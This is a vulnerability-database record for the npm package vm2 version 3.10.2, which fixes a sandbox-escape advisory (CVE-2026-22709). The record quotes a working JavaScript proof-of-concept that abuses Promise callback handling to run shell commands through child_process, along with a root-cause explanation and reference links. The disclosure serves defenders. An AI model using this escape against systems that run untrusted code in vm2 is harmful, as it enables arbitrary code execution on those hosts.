Lookup for vulnerable packages by Package URL.

Purlpkg:npm/vm2@3.10.2
Typenpm
Namespace
Namevm2
Version3.10.2
Qualifiers
Subpath
Is_vulnerablefalse
Next_non_vulnerable_versionnull
Latest_non_vulnerable_versionnull
Affected_by_vulnerabilities
Fixing_vulnerabilities
0
url VCID-gqm5-bhj5-k3cf
vulnerability_id VCID-gqm5-bhj5-k3cf
summary
vm2 has a Sandbox Escape
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

```js
const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;

new VM().run(code);
```

In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
references
0
reference_url https://github.com/patriksimek/vm2
reference_id
reference_type
scores
url https://github.com/patriksimek/vm2
1
reference_url https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
reference_id
reference_type
scores
url https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
2
reference_url https://github.com/patriksimek/vm2/releases/tag/v3.10.2
reference_id
reference_type
scores
url https://github.com/patriksimek/vm2/releases/tag/v3.10.2
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-22709
reference_id CVE-2026-22709
reference_type
scores
url https://nvd.nist.gov/vuln/detail/CVE-2026-22709
4
reference_url https://github.com/advisories/GHSA-99p7-6v5w-7xg8
reference_id GHSA-99p7-6v5w-7xg8
reference_type
scores
url https://github.com/advisories/GHSA-99p7-6v5w-7xg8
5
reference_url https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
reference_id GHSA-99p7-6v5w-7xg8
reference_type
scores
url https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
fixed_packages
0
url pkg:npm/vm2@3.10.2
purl pkg:npm/vm2@3.10.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/vm2@3.10.2
aliases CVE-2026-22709, GHSA-99p7-6v5w-7xg8
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gqm5-bhj5-k3cf
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/vm2@3.10.2